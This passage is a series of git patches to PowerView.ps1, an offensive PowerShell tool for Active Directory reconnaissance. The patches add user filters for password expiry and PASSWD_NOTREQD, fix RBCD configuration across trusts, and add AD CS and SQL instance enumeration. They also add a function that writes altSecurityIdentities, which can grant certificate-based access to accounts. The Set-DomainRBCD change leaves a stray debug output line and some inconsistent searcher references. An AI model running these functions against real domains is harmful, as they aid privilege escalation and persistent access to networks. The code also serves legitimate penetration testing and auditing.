{ + Write-Verbose '[Get-DomainUser] Searching for users whose passwords never expire' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)' + } if ($PSBoundParameters['AllowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' # negation of "Accounts that are sensitive and not trusted for delegation" @@ -5327,10 +5354,6 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048576)' } - if ($PSBoundParameters['PassNotExpire']) { - Write-Verbose '[Get-DomainUser] Searching for users whose passwords never expire' - $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)' - } if ($PSBoundParameters['Unconstrained']) { Write-Verbose '[Get-DomainUser] Searching for users configured for unconstrained delegation' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' @@ -5381,16 +5404,48 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } else { $Results = $UserSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { - if ($PSBoundParameters['Raw']) { - # return raw result objects - $User = $_ - $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') + $Continue = $True + if ($PSBoundParameters['PassExpired']) { + # need to get the maximum password age from the domain policy + $MaximumAge = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge + if ($MaximumAge -ne 0) { + $PwdLastSet = $_.Properties.pwdlastset[0] + if ($PwdLastSet -eq 0) { + $PwdLastSet = $_.Properties.whencreated[0] + } + $ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc() + if ($PwdLastSet -gt $ExpireTime) { + $Continue = $False + } + } } - else { - $User = Convert-LDAPProperty -Properties $_.Properties - $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + elseif ($PSBoundParameters['PassNotExpired'] -and (($_.Properties.useraccountcontrol[0] -band 65536) -ne 65536)) { + + # need to get the maximum password age from the domain policy + $MaximumAge = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge + if ($MaximumAge -ne 0) { + $PwdLastSet = $_.Properties.pwdlastset[0] + if ($PwdLastSet -eq 0) { + $PwdLastSet = $_.Properties.whencreated[0] + } + $ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc() + if ($PwdLastSet -le $ExpireTime) { + $Continue = $False + } + } + } + if ($Continue) { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $User = $_ + $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') + } + else { + $User = Convert-LDAPProperty -Properties $_.Properties + $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + } + $User } - $User } if ($Results) { try { $Results.dispose() } From f2d3fae750d54fc64e7b146c3e28504f39cc3cf6 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Tue, 17 Nov 2020 02:45:29 +0000 Subject: [PATCH 24/58] Moved retrival of domain policy to outside the results loop to avoid retriving once per user --- Recon/PowerView.ps1 | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 018098a4..92203590 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5256,6 +5256,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($UserSearcher) { $IdentityFilter = '' $Filter = '' + $MaximumAge = $Null $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { @@ -5340,11 +5341,17 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['PassExpired']) { Write-Verbose '[Get-DomainUser] Ignoring users that have passwords to never expire' $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=65536))' + Write-Verbose "[Get-DomainUser] Getting the maximum password age from the domain policy" + $MaximumAge = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge } elseif ($PSBoundParameters['NoPassExpiry']) { Write-Verbose '[Get-DomainUser] Searching for users whose passwords never expire' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)' } + if ($PSBoundParameters['PassNotExpired']) { + Write-Verbose "[Get-DomainUser] Getting the maximum password age from the domain policy" + $MaximumAge = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge + } if ($PSBoundParameters['AllowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' # negation of "Accounts that are sensitive and not trusted for delegation" @@ -5406,8 +5413,6 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Results | Where-Object {$_} | ForEach-Object { $Continue = $True if ($PSBoundParameters['PassExpired']) { - # need to get the maximum password age from the domain policy - $MaximumAge = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge if ($MaximumAge -ne 0) { $PwdLastSet = $_.Properties.pwdlastset[0] if ($PwdLastSet -eq 0) { @@ -5420,9 +5425,6 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } } elseif ($PSBoundParameters['PassNotExpired'] -and (($_.Properties.useraccountcontrol[0] -band 65536) -ne 65536)) { - - # need to get the maximum password age from the domain policy - $MaximumAge = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge if ($MaximumAge -ne 0) { $PwdLastSet = $_.Properties.pwdlastset[0] if ($PwdLastSet -eq 0) { From 630ee4edf46dfe0422a84be20e91387540ffed5b Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Tue, 17 Nov 2020 02:51:29 +0000 Subject: [PATCH 25/58] Changed maximum age comparison to gt to account for -1 values --- Recon/PowerView.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 92203590..345f5d17 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5413,7 +5413,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Results | Where-Object {$_} | ForEach-Object { $Continue = $True if ($PSBoundParameters['PassExpired']) { - if ($MaximumAge -ne 0) { + if ($MaximumAge -gt 0) { $PwdLastSet = $_.Properties.pwdlastset[0] if ($PwdLastSet -eq 0) { $PwdLastSet = $_.Properties.whencreated[0] @@ -5425,7 +5425,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } } elseif ($PSBoundParameters['PassNotExpired'] -and (($_.Properties.useraccountcontrol[0] -band 65536) -ne 65536)) { - if ($MaximumAge -ne 0) { + if ($MaximumAge -gt 0) { $PwdLastSet = $_.Properties.pwdlastset[0] if ($PwdLastSet -eq 0) { $PwdLastSet = $_.Properties.whencreated[0] From 60b0853e0f196c13fa4af2be0830317da8177b06 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Tue, 17 Nov 2020 03:00:03 +0000 Subject: [PATCH 26/58] Casted maximum age to int and added a missing else for when no maximum age is set --- Recon/PowerView.ps1 | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 345f5d17..126e85de 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5342,7 +5342,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainUser] Ignoring users that have passwords to never expire' $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=65536))' Write-Verbose "[Get-DomainUser] Getting the maximum password age from the domain policy" - $MaximumAge = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge + $MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge } elseif ($PSBoundParameters['NoPassExpiry']) { Write-Verbose '[Get-DomainUser] Searching for users whose passwords never expire' @@ -5350,7 +5350,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } if ($PSBoundParameters['PassNotExpired']) { Write-Verbose "[Get-DomainUser] Getting the maximum password age from the domain policy" - $MaximumAge = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge + $MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge } if ($PSBoundParameters['AllowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' @@ -5423,6 +5423,9 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Continue = $False } } + else { + $Continue = $False + } } elseif ($PSBoundParameters['PassNotExpired'] -and (($_.Properties.useraccountcontrol[0] -band 65536) -ne 65536)) { if ($MaximumAge -gt 0) { From 601732c5bca3215a7ae47143d09db08757379234 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Tue, 17 Nov 2020 09:34:00 +0000 Subject: [PATCH 27/58] Added little check against MaximumAge when -PassExpired is passed to avoid LDAP query when expiry is disabled --- Recon/PowerView.ps1 | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 126e85de..94142625 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5341,8 +5341,12 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['PassExpired']) { Write-Verbose '[Get-DomainUser] Ignoring users that have passwords to never expire' $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=65536))' - Write-Verbose "[Get-DomainUser] Getting the maximum password age from the domain policy" + Write-Verbose '[Get-DomainUser] Getting the maximum password age from the domain policy' $MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge + if ($MaximumAge -lt 1) { + Write-Warning '[Get-DomainUser] Password expiry disabled in domain policy, no users will be returned' + return + } } elseif ($PSBoundParameters['NoPassExpiry']) { Write-Verbose '[Get-DomainUser] Searching for users whose passwords never expire' From 94002566ce8dd0ed1e89ef0280290a8b3719d0ac Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Thu, 10 Dec 2020 12:04:25 +0000 Subject: [PATCH 28/58] fixed issue with Find-HighValueAccounts when some samaccountnames couldn't re solved --- Recon/PowerView.ps1 | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 94142625..585f3367 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -21099,7 +21099,7 @@ Returns all enabled high value accounts. Get-DomainGroupMember $AdminGroup -Recurse | ?{$_.MemberObjectClass -ne 'group'} | ForEach-Object { if (((!($Users)) -And (!($Computers))) -Or ((($Users) -And ($_.MemberObjectClass -eq 'user')) -Or (($Computers) -And ($_.MemberObjectClass -eq 'computer')))) { $MemberName = $_.MemberName - if (($Check.Count -eq 0 ) -Or (!($Check.Contains($MemberName)))) { + if (($MemberName) -and (($Check.Count -eq 0 ) -Or (!($Check.Contains($MemberName))))) { $IdentityFilter += "(samaccountname=$MemberName)" $Check += $MemberName } @@ -21969,7 +21969,7 @@ Returns accounts that have DCSync privileges in current domain. if ($PSBoundParameters['Groups'] -and !($Check -contains $ObjectSID)) { $IdentityFilter += "(objectsid=$ObjectSID)" } - $Object | Get-DomainGroupMember -Recurse | ForEach-Object { + $Object | Get-DomainGroupMember -Recurse @SearcherArguments | ForEach-Object { $MemberSID = $_.MemberSID if ($_.MemberObjectClass -ne 'group' -and !($Check -contains $MemberSID)) { if (($NoType) -Or ((($PSBoundParameters['Users']) -And ($_.MemberObjectClass -eq 'user')) -Or (($PSBoundParameters['Computers']) -And ($_.MemberObjectClass -eq 'computer')))) { @@ -22742,6 +22742,17 @@ Returns the LAPS reader information in current domain. if ($Principal) { $OutObject | Add-Member "PrincipalName" $Principal.samaccountname[0] $OutObject | Add-Member "PrincipalType" ($Principal.samaccounttype[0] -as $SamAccountTypeEnum) + if ($OutObject.PrincipalType -eq 'GROUP_OBJECT' -or $OutObject.PrincipalType -eq 'ALIAS_OBJECT') { + $PrincipalMembers = @() + $Principal | Get-DomainGroupMember -Recurse @SearcherArguments | ForEach-Object { + $Member = $_ + $Member + if ($Member.MemberObjectClass -ne 'group') { + $PrincipalMembers += $Member + } + } + $OutObject | Add-Member "RecursivePrincipalMembers" $PrincipalMembers + } } $OutObject | Add-Member "PrincipalSID" $PrincipalSID $OutObject From d389e7a6b05418af5c3ddaf3843de58014d50b85 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Thu, 10 Dec 2020 12:35:47 +0000 Subject: [PATCH 29/58] added -PassNotRequired switch to Get-DomainUser for searching for users with PASSWD_NOTREQD set --- Recon/PowerView.ps1 | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 585f3367..1cd2b880 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4957,6 +4957,10 @@ Switch. Return user accounts that are configured to allow resource-based constra Switch. Return user accounts with "Do not require Kerberos preauthentication" set. +.PARAMETER PassNotRequired + +Switch. Return user accounts with PASSWD_NOTREQD set. + .PARAMETER PassLastSet Return only user accounts that have not had a password change for at least the specified number of days. @@ -5155,6 +5159,9 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $PreauthNotRequired, + [Switch] + $PassNotRequired, + [ValidateRange(1, 10000)] [Int] $PassLastSet, @@ -5385,6 +5392,10 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' } + if ($PSBoundParameters['PassNotRequired']) { + Write-Verbose '[Get-DomainUser] Searching for user accounts that have PASSWD_NOTREQD set' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=32)' + } if ($PSBoundParameters['PassLastSet']) { Write-Verbose "[Get-DomainUser] Searching for user accounts that have not had a password change for at least $PSBoundParameters['PassLastSet'] days" $PwdDate = (Get-Date).AddDays(-$PSBoundParameters['PassLastSet']).ToFileTime() From 73af8864d55227ff93f8c81cb13b040ffaf09086 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Tue, 2 Mar 2021 00:42:22 +0000 Subject: [PATCH 30/58] fixed Add-DomainGroupMember to support adding members cross domain --- Recon/PowerView.ps1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 1cd2b880..84a772bc 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -11983,7 +11983,8 @@ http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices- if ($Group) { ForEach ($Member in $Members) { if ($Member -match '.+\\.+') { - $ContextArguments['Identity'] = $Member + $ContextArguments['Identity'] = ($Member -split '\\')[1] + $ContextArguments['Domain'] = ($Member -split '\\')[0] $UserContext = Get-PrincipalContext @ContextArguments if ($UserContext) { $UserIdentity = $UserContext.Identity @@ -21107,7 +21108,7 @@ Returns all enabled high value accounts. PROCESS { foreach ($AdminGroup in $AdminGroups) { - Get-DomainGroupMember $AdminGroup -Recurse | ?{$_.MemberObjectClass -ne 'group'} | ForEach-Object { + Get-DomainGroupMember $AdminGroup -Recurse @SearcherArguments | ?{$_.MemberObjectClass -ne 'group'} | ForEach-Object { if (((!($Users)) -And (!($Computers))) -Or ((($Users) -And ($_.MemberObjectClass -eq 'user')) -Or (($Computers) -And ($_.MemberObjectClass -eq 'computer')))) { $MemberName = $_.MemberName if (($MemberName) -and (($Check.Count -eq 0 ) -Or (!($Check.Contains($MemberName))))) { From 4ec1e8ab823e4064a4f4ca6f5b3482c83f278269 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Wed, 16 Jun 2021 00:36:14 +0100 Subject: [PATCH 31/58] fixing Set-DomainRBCD when configuring RBCD across a trust --- Recon/PowerView.ps1 | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 84a772bc..b8c12757 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6908,6 +6908,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + Write-Output "$GuidByteString" $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { @@ -21614,12 +21615,17 @@ Configured RBCD on Computer1 to allow Computer2 and Computer3 delegation rights. } - + $IdentityParts = $Identity -split '\\' + if ($IdentityParts.length -gt 1) { + $SearcherArguments['Domain'] = $IdentityParts[0] + $Identity = $IdentityParts[1] + } + $IdentitySearcher = Get-DomainSearcher @SearcherArguments $Identity | Get-IdentityFilterString | ForEach-Object { $IdentityFilter += $_ } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { - $Filter += "(|$IdentityFilter)" + $Filter = "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { @@ -21627,12 +21633,12 @@ Configured RBCD on Computer1 to allow Computer2 and Computer3 delegation rights. $Filter += "$LDAPFilter" } if ($Filter -and $Filter -ne '') { - $RBCDSearcher.filter = "(&$Filter)" + $IdentitySearcher.filter = "(&$Filter)" } Write-Verbose "[Set-DomainRBCD] Set-DomainRBCD filter string: $($RBCDSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $RBCDSearcher.FindOne() } - else { $Results = $RBCDSearcher.FindAll() } + else { $Results = $IdentitySearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Object = $_ $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') From 5146fffb96118cb4b055d7f0b196c82c91c3ed4a Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Thu, 24 Jun 2021 23:51:24 +0100 Subject: [PATCH 32/58] added Get-DomainEnrollmentServers and Get-DomainCACertificates to do some basic enumeration of AD CS from LDAP --- Recon/PowerView.ps1 | 166 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 166 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index b8c12757..31dc99c1 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -22779,6 +22779,172 @@ Returns the LAPS reader information in current domain. } } +function Get-DomainEnrollmentServers { +<# +.SYNOPSIS + +Returns the certificate enrollment servers for the current domain or the specified domain. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainDN + +.DESCRIPTION + +Returns the certificate enrollment servers for the current domain or the specified domain by searching +CN=Configuration,[DomainDN] for (objectCategory=pKIEnrollmentService) as described in +@harmj0y and @tifkin's Certified_Pre-Owned (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainEnrollmentServers + +.EXAMPLE + +Get-DomainEnrollmentServers -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainEnrollmentServers -Credential $Cred + +.OUTPUTS + +PS Objects representing the specified domain enrollment servers. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $DomainDN = Get-DomainDN @SearcherArguments + + if ($DomainDN) { + Write-Verbose "[Get-DomainEnrollmentServers] Got domain DN: $DomainDN" + } + else { + Write-Verbose "[Get-DomainEnrollmentServers] Error extracting domain DN for '$Domain'" + } + + Get-DomainObject -SearchBase "CN=Configuration,$DomainDN" -LDAPFilter "(objectCategory=pKIEnrollmentService)" @SearcherArguments +} + +function Get-DomainCACertificates { +<# +.SYNOPSIS + +Returns the CA certificates for the current domain or the specified domain. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainDN + +.DESCRIPTION + +Returns the CA certificates for the current domain or the specified domain by searching +CN=Configuration,[DomainDN] for (objectCategory=pKIEnrollmentService) as described in +@harmj0y and @tifkin's Certified_Pre-Owned (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainCACertificates + +.EXAMPLE + + Get-DomainCACertificates -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) + Get-DomainCACertificates -Credential $Cred + +.OUTPUTS + +PS Objects representing the specified domain CA certificates. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $DomainDN = Get-DomainDN @SearcherArguments + + if ($DomainDN) { + Write-Verbose "[Get-DomainCACertificates] Got domain DN: $DomainDN" + } + else { + Write-Verbose "[Get-DomainCACertificates] Error extracting domain DN for '$Domain'" + } + + Get-DomainObject -SearchBase "CN=Configuration,$DomainDN" -LDAPFilter "(objectCategory=certificationAuthority)" @SearcherArguments +} + From 6c883f505aea0edba2675511d0647911f3909de6 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Fri, 25 Jun 2021 00:08:37 +0100 Subject: [PATCH 33/58] added Get-DomainSQLInstances for grabbing SQLinstances from LDAP for use with PowerUpSQL --- Recon/PowerView.ps1 | 81 +++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 79 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 31dc99c1..dc5110bc 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -22897,13 +22897,13 @@ Get-DomainCACertificates .EXAMPLE - Get-DomainCACertificates -Domain testlab.local +Get-DomainCACertificates -Domain testlab.local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) - Get-DomainCACertificates -Credential $Cred +Get-DomainCACertificates -Credential $Cred .OUTPUTS @@ -22945,6 +22945,83 @@ PS Objects representing the specified domain CA certificates. Get-DomainObject -SearchBase "CN=Configuration,$DomainDN" -LDAPFilter "(objectCategory=certificationAuthority)" @SearcherArguments } +function Get-DomainSQLInstances { +<# +.SYNOPSIS + +Returns a list of SQL instances for the current domain or the specified domain usable with PowerUPSQL cmdlets. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainDN + +.DESCRIPTION + +Returns a list of SQL instances for the current domain or the specified domain by searching +for (serviceprincipalname=MSSQLSvc*) and modifying the relevent SPNs to be directly usable with +PowerUpSQL cmdlets. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainSQLInstances + +.EXAMPLE + +Get-DomainSQLInstances -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSQLInstances -Credential $Cred + +.OUTPUTS + +Strings +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + Get-DomainObject -LDAPFilter "(serviceprincipalname=MSSQLSvc*)" @SearcherArguments | select -expand serviceprincipalname | Where-Object { + $_ -match "MSSQLSvc" + } | Foreach-Object { + ($_ -split '/')[1] -replace ':',',' + } +} From c536bb3fed3792c2e633631251c04cee76ff6776 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Fri, 25 Jun 2021 01:33:43 +0100 Subject: [PATCH 34/58] created Add-DomainAltSecurityIdentity for adding values to the altSecurityIdentities attribute, need to create a Remove-DomainAltSecurityIdentity --- Recon/PowerView.ps1 | 227 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 227 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index dc5110bc..16c9dc6b 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -23023,6 +23023,233 @@ Strings } } +function Add-DomainAltSecurityIdentity { +<# +.SYNOPSIS + +Adds a value to the altSecurityIdentities AD attribute. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Set-DomainObject, Get-DomainDN, Get-IdentityFilterString + +.DESCRIPTION + +Adds a value to the altSecurityIdentites AD attribute while ensuring the current values remain the same. + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER Type + +The type of identity to add (Certificate or Kerberos). + +.PARAMETER Issuer + +The certificate issuer, if a Certificate has been specified. + +.PARAMETER Subject + +The certificate subject, if a certificate has been specified. + +.PARAMETER Account + +The external Kerberos account to add, if Kerberos has been specified. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Add-DomainAltSecurityIdentity + +.EXAMPLE + +Add-DomainAltSecurityIdentity -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainAltSecurityIdentity -Credential $Cred + +.OUTPUTS + +Nothing + +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [ValidateSet('Certificate', 'Kerberos')] + [String] + $Type = 'Certificate', + + [ValidateNotNullOrEmpty()] + [String] + $Issuer, + + [ValidateNotNullOrEmpty()] + [String] + $Subject, + + [ValidateNotNullOrEmpty()] + [String] + $Account, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + 